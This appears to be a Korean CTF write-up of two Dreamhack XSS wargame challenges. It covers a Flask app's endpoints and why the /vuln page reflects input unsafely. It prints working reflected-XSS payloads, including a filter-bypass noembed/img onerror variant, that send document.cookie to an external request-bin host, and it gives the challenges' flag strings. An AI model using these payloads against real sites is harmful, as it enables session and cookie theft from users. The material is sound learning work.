XSS-1/2

---

배경 지식

위 문제는 Flask 프레임워크로 구현됨

XSS를 통해 다른 이용자의 쿠키를 탈취하는 문제로 해당 방문 시나리오가 있습니다
이런 기능은 셀레늄을 통해 구현되었습니다.

셀레늄(Selenium)은 웹 App 테스팅에 사용되는 파이썬 모듈로, API를 통해 우베 드라이브(크롬 등)를
사용하며, 요청과 응답만 처리하는 libc와는 다릅니다.

이는 응답에 포함된 Js, Css와 같은 웹 리소스를 웹 드라이버를 통해 해석 실행하기에 방문과 같은 역할함

---

문제 목표 및 요약

위와 같은 사실은 해당 Wargame에서 제공하는 app.py을 들어가서 확인해보시면 나와요

---

엔드포인트 분석

엔드포인트란?

 알려진 위협 및 알려지지 않은 위협으로부터 기업의 경계로 간주되는 요소
보통의 경우엔 HW의 관점에서 많이 사용됨

---

엔드포인트 : /vuln

vuln 페이지를 구성하는 코드로써, 코드를 살펴보면 이용자에게 해당 파라미터를 반환함

---

엔드포인트 : /memo

memo 페이지를 구성하는 코드로, memo_text의 빈 문자열에 요청 받은 것에 대하여
memo의 파라미터의 값을 render_template 함수으로 반환해주네요

---

엔드포인트 : /flag

GET으론 render_template의 함수가 호출(memo의 반환이...)
POST는 param 값을 가져오기도 하고 flag의 쿠키의 값이 flag라네요

---

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력합니다.
memo는 render_template 함수를 사용해 memo.html을 출력하죠

render_template 함수는 전달된 템플릿 변수를 기록할 때
HTML entity코드로 변환 저장해 XSS가 발생 못 하죠

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기에 취약하답니다.

---

핵심 명령어

문제 해결에 있어서 /vuln에 있는 엔드포인트의 값을 얻기 위해 XSS 취약점을 살려야합니다.
그러기 위해 탈취한 쿠키 값을 얻기 위해 외부에 접근 가능한 사이트 사용 or memo 엔드포인트 활용

다음 표는 공격에 사용될 핵심적인 코드이며, 자세한 설명을 함께 읽어주세요

---

쿠키 탈취

여러가지의 방법을 활용할 수 있으며, 크게 2가지의 관점에서 접근해봅시다

memo 페이지 활용

<script>location.href='/memo?memo=' + document.cookie;</script>

위와 같이 flag의 위치에서 명령어를 삽입해 XSS(reflected XSS)가 실행됩니다.

다음 방식으론 접근 가능한 사이트를 활용해 입력받는 방식으로 아까 POST로 flag를 전달해주는 부분 활용
근데 받을 때는 GET 방식으로 받습니다 ㅎㅎ

웹 서버 활용

외부에서 접근 가능한 웹 서버를 활용하면 되며, 여기선 Dreamhack tools라는 것을 이용합시다.
해당 Request Bin부분을 활용해 링크 생성 후...

<script>location.href='https://ntgtpnz.request.dreamhack.games/?memo' + document.cookie;</script>

그럼 이제 두 가지 방법으로 문제 해결을 야무지게 했네요 ㅎ

DH{2c01577e9542ec24d68ba0ffb846508e}

 

알아두어야 할 부분

XSS 공격은 주로 이용자의 입력값이 출력되는 페이지에서 발생하며,
해당 공격을 통해 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있습니다.

이러한 문제점은 악성 태그를 필터링하는 HTML Sanitization을 사용하거나
엔티티코드로 치환하는 방법을 통해 해결한답니다

---

이 문제는 솔직히 이전 코드랑 유사하고 필터링만 추가된 모습같아요 그 이유는
xss 그 웹 페이지 들어가면 XSS가 실행이 안되니까요 쨋든 풀어보면..
사실 PortSwigger에 XSS_Cheat sheet을 검색해서 나온거 아무거나 대입해 넣으면 되긴 해요

문제는 필터링하는 코드부분이 어디인지 잘 확인이 안되는데 아마 flask Selenium에 있어서
HTML Sanitization을 활용한 거 같네요 그래서 대입해 풀어보면..

<noembed><img title="</noembed><img src onerror=location.href="https://ikeagjn.request.dreamhack.games/?memo="+document.cookie;>"></noembed>

그냥 최신거 넣어서 대입해보시면 되고 해당 테그와 관한 내용은 공부하시면 되고..

DH{3c01577e9542ec24d68ba0ffb846508f}

---

참고 자료

xss-1

 

xss-2

Exercise: XSS

 

참고 이미지